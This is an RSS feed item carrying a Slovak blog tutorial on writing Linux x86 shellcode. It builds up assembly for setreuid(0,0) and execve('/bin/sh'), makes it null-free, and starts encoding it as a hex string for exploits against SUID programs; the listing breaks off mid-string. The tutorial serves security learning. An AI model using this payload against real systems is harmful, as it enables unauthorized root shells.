<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bloog.sk &#187; Assembler a cracking</title>
	<atom:link href="http://www.bloog.sk/category/programovanie/assembler-a-cracking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bloog.sk</link>
	<description>recenzie a kvalitné informácie z digitálneho sveta</description>
	<lastBuildDate>Sun, 26 Jun 2011 20:30:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Základy linuxového shellkódu</title>
		<link>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/</link>
		<comments>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 19:45:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Shellkód]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=261</guid>
		<description><![CDATA[Základné informácie o shellkóde a jeho zneužití. Ponúkam ukážky v assembleri a jazyku C.]]></description>
			<content:encoded><![CDATA[<p>Po prečítaní tohto článku budete schopný napísať svoj vlastný shellkód.</p>
<p>Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:</p>
<ul>
<li>Priamym zápisom kódov inštrukcií.</li>
<li>Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (<a href="http://www.bloog.sk/category/assembler-a-cracking/disassembling/">viď článok</a>), ktorým dostanete kódy inštrukcií.</li>
<li>Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.</li>
</ul>
<p>Priame písanie kódov inštrukcií je trochu extrémny šport &#8211; my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.</p>
<h3>Systémové volania</h3>
<p>Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:</p>
<ul>
<li>Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.</li>
<li>Hardwarové pasce, napríklad pokus o delenie nulou.</li>
<li>Softvérové pasce, napríklad požiadavka na spustenie procesu.</li>
</ul>
<p>Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore <em>/usr/include/asm/unistd:</em></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#ifndef _ASM_I386_UNISTD_H_</span>
<span style="color: #339933;">#define _ASM_I386_UNISTD_H_</span>
<span style="color: #808080; font-style: italic;">/*
 *  This file contains  the  system call  numbers.
 */</span>
<span style="color: #339933;">#define __NR_restart_syscall      0</span>
<span style="color: #339933;">#define __NR_exit		  1</span>
<span style="color: #339933;">#define __NR_fork		  2</span>
<span style="color: #339933;">#define __NR_read		  3</span>
<span style="color: #339933;">#define __NR_write		  4</span>
<span style="color: #339933;">#define __NR_open		  5</span>
<span style="color: #339933;">#define __NR_close		  6</span>
<span style="color: #339933;">#define __NR_waitpid		  7</span>
<span style="color: #339933;">#define __NR_creat		  8</span>
<span style="color: #339933;">#define __NR_link		  9</span>
<span style="color: #339933;">#define __NR_unlink		 10</span>
<span style="color: #339933;">#define __NR_execve		 11</span>
<span style="color: #339933;">#define __NR_chdir		 12</span>
<span style="color: #339933;">#define __NR_time		 13</span>
<span style="color: #339933;">#define __NR_mknod		 14</span>
<span style="color: #339933;">#define __NR_chmod		 15</span>
<span style="color: #339933;">#define __NR_lchown		 16</span>
<span style="color: #339933;">#define __NR_break		 17</span>
<span style="color: #339933;">#define __NR_oldstat		 18</span>
<span style="color: #339933;">#define __NR_lseek		 19</span>
<span style="color: #339933;">#define __NR_getpid		 20</span>
<span style="color: #339933;">#define __NR_mount		 21</span>
<span style="color: #339933;">#define __NR_umount		 22</span>
<span style="color: #339933;">#define __NR_setuid		 23</span>
<span style="color: #339933;">#define __NR_getuid		 24</span>
<span style="color: #339933;">#define __NR_stime		 25</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_setreuid		 70</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_socketcall		102</span></pre></div></div>

<p>V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.</p>
<h4>Systémové volania v C</h4>
<p>V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami &#8211; stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu <em>man</em> &#8211; keby vás zaujímalo povedzme volanie <em>execve</em>, zadali by ste:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">$man</span> <span style="color: #000000;">2</span> execve</pre></div></div>

<p>Tento príkaz zobrazí nasledujúce stránku:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">EXECVE(2)                              Linux Programmer's Manuál       EXECVE(2)
NAME
                    execve - execute program
SYNOPSIS
                    #include 
                    int execve (const char *filename, char *const argv [], char *const envp[])
...</pre></div></div>

<p>V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.</p>
<h4>Systémové volania v assembleri</h4>
<p>Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.</p>
<p>Akonáhle sú registre nastavené, príkazom</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></div></div>

<p>vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.</p>
<p>Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.</p>
<h3>Systémové volanie exit</h3>
<p>Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa <em>exit</em> a v jazyku C mu zodpovedá funkcia <em>exit</em>. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.</p>
<p>Systémové volania exit (0) v C zavoláte takto:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.c</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-static</span> <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span> exit.c</pre></div></div>

<p>Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu <em>main</em>, príkazom r spustite program a príkazom <em>disass _exit</em> si nechajte disassemblerovať funkciu <em>_exit</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gdb exit  -q
(gdb)   b main
Breakpoint  1 at  0x80481d6
(gdb)   r
Starting program: /root/clanok/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function exit:
0x804c56c &lt;_exit&gt;	mov	0x4(%esp,1),%ebx
0x804c570 &lt;_exit+4&gt;	mov	$0xfc,%eax
0x804c575 &lt;_exit+9&gt;	int	$0x80
0x804c577 &lt;_exit+11&gt;	mov	$0x1,%eax
0x804c57c &lt;_exit+16&gt;	int	$0x80
0x804c57e &lt;_exit+18&gt;	hlt</pre></div></div>

<p>Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0&#215;1) a potom dôjde k prerušeniu (<em>int $0&#215;80</em>). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie <em>exit_group</em> (systémové volanie čísla Oxfc resp. 252) &#8211; ta funguje uplně rovnako ako <em>exit</em>, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri <img src='http://www.bloog.sk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h4>Prechod k assembleru</h4>
<p>Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; zacina kod programu</span>
global _start
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označením začiatku si ušetríme problémy s linkerom</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EBX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; keď pracujeme len s jedným bajtom, vyhneme</span>
    <span style="color: #666666; font-style: italic;">; sa zarovnaniu na plných 32 bitov registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; volanie jadra</span></pre></div></div>

<p>Volanie funkcie <em>exit_group</em> sme vynechali, pretože nie je potreba. Použitím príkazu <em>xor</em> na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu <em>mov ax, </em> pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu <em>mov eax, 0&#215;01</em>, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol <em>b8 01 00 00 00</em>, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf exit.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> exit.o <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span>
$ .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.</p>
<h4>Sledovanie pomocou strace</h4>
<p>Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>
execve <span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.</p>
<h3>Systémové volanie setreuid</h3>
<p>Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú &#8211; preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo <em>setreuid</em>, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.</p>
<h4>Parametre volania setreuid</h4>
<p>Systémove volanie <em>setreuid</em> má číslo 70 (0&#215;46, pozri súbor <em>unistd.h</em> vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.</p>
<h4>Volanie z assembleru</h4>
<p>Systémové volanie <em>setreuid(0,0)</em> vykoná nasledujúci kód v assembleri:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> setreuid.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section<span style="color: #339933;">.</span> text<span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start<span style="color: #666666; font-style: italic;">; deklarácia globálneho návestia</span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; aby linker nemusel hádať a nesťažoval si</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; vynulovať register EAX, aby sme ho mohli v ďalšom</span>
  <span style="color: #666666; font-style: italic;">; riadku nastaviť</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span><span style="color: #666666; font-style: italic;">; nastaviť spodný bajt EAX na číslo volania (0x46 = 70)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; vynulovať register EBX</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span><span style="color: #666666; font-style: italic;">; vynulovať register ECX</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; nastaviť číslo volania na jedna (exit)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; zavolať systém</span></pre></div></div>

<p>Ako vidíte, jednoducho naplníme registre a zavoláme int 0&#215;80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf setreuid.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> setreuid setreuid.o
$ .<span style="color: #000000; font-weight: bold;">/</span>setreuid</pre></div></div>

<h4>Overovanie pomocou strace</h4>
<p>Navonok toho opäť moc nespoznáte, pomôže vám strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span>setreuid
execve<span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span>setreuid<span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
setreuid<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span>, <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span>O<span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Presne ako sme čakali!</p>
<h3>Spustenie shellu pomocou execve</h3>
<p>Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie <em>execve</em>. My si pomocou tohto volania skúsime spustiť program <em>/bin/sh</em>.</p>
<h4>Systémové volanie execve</h4>
<p>Podľa man stránky by spustenie programu <em>/bin/sh</em> funkciou <em>execve</em> vyzeralo približne takto:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span><span style="color: #339933;">*</span> shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// pomocné pole na dva reťazce</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// prvy prvok poľa nastavíme na &quot;/bin/sh&quot;</span>
shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> NULL<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// druhý prvok nastavíme na NULL</span>
execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> shell<span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// zavoláme execve</span></pre></div></div>

<p>V assembleri by volanie execve vyzeralo nasledovne:</p>
<ul>
<li>EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.</li>
<li>EBX = adresa reťazca <em>/bin/sh</em> uloženého niekde v pamäti.</li>
<li>ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim <em>/bin/sh</em> a končí na null.</li>
<li>EDX = jednoducho 0&#215;0, pretože tretí parameter môže byť null.</li>
</ul>
<p>Jediným problémom je zostavenie reťazca <em>/bin/sh</em> a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.</p>
<h4>Volanie z assembleru</h4>
<p>Nasledujúci assemblerový program najprv zavolá <em>setreuid(0,0)</em> a potom <em>execve /bin/sh</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> sc2.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start <span style="color: #666666; font-style: italic;">; deklarácie globálneho návestí </span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označovanie kódu návestím je praktický zvyk</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra EAX, príprava na ďalší riadok </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x46</span> <span style="color: #666666; font-style: italic;">; systémové volanie číslo 0x46 alebo 70, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ebx </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra ecx </span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span>
<span style="color: #666666; font-style: italic;">; spustenie shellu pomocou execve </span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; vynulovanie registra eax </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; na vrchol zásobníka uložíme NULL </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x68732f2f</span> <span style="color: #666666; font-style: italic;">; pridáme reťazec &quot;//sh&quot;, doplnený úvodným lomítkom</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #0000ff;">0x6e69622f</span> <span style="color: #666666; font-style: italic;">; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; esp teraz ukazuje na &quot;/bin/sh&quot;, takže ho uložíme do ebx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span> <span style="color: #666666; font-style: italic;">; ešte raz adresa &quot;/bin/sh&quot;, máme ju v ebx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; adresa argv je v esp, uložíme ju do ecx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; nastavíme edx na nulu (NULL), nie je potreba </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0xb</span> <span style="color: #666666; font-style: italic;">; systémové volanie 0xb = 11, jeden bajt</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span> <span style="color: #666666; font-style: italic;">; volanie systému</span></pre></div></div>

<p>Ako vidíte, reťazec <em>/bin/sh</em> na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom <em>//sh</em> (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec <em>/bin</em>. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania <em>execve</em> pomocou elegantného využitia zásobníka a hodnôt registrov.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf sc2.asm 
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> <span style="color: #660033;">-o</span> sc2 sc2.o 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2 
sh-2.05b<span style="color: #666666; font-style: italic;"># exit</span>
<span style="color: #7a0874; font-weight: bold;">exit</span>
$</pre></div></div>

<p>Hurá! Funguje!</p>
<h4>Ako získať kódy inštrukcií</h4>
<p>Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ objdump <span style="color: #660033;">-d</span> .<span style="color: #000000; font-weight: bold;">/</span>sc2
.<span style="color: #000000; font-weight: bold;">/</span>sc2: <span style="color: #c20cb9; font-weight: bold;">file</span> formát elf32-i386</pre></div></div>

<p>Disassemblerovaná sekcia .text:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">08048080 &lt;_start&gt;:		
8048080 31 cO xor %eax, %eax
8048082 bO 46 mov $0x46,%al
; atd</pre></div></div>

<p>Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0&#215;00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.</p>
<h4>Testovanie shellkódu</h4>
<p>Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ cat sc2.c
char sc[] =  // biele znaky (napríklad konce riadkov) sa nepočítajú
// setreuid(0,0)
&quot;\x31\xc0&quot;      //     xor         %eax,%eax
&quot;\xb0\x46&quot;      //     mov         $0x46,%al
&quot;\x31\xdb&quot;      //     xor         %ebx,%ebx
&quot;\x31\xc9&quot;      //     xor         %ecx,%ecx
&quot;\xcd\x80&quot;      //     int         $0x80
// spustit shell pomocou execve
&quot;\x31\xc0&quot;     //     xor         %eax,%eax
&quot;\x50&quot;           //     push       %eax
&quot;\x68\x2f\x2f\x73\x68&quot;   //     push       $0x68732f2f
&quot;\x68\x2f\x62\x69\x6e&quot;  //     push       $0x6e69622f
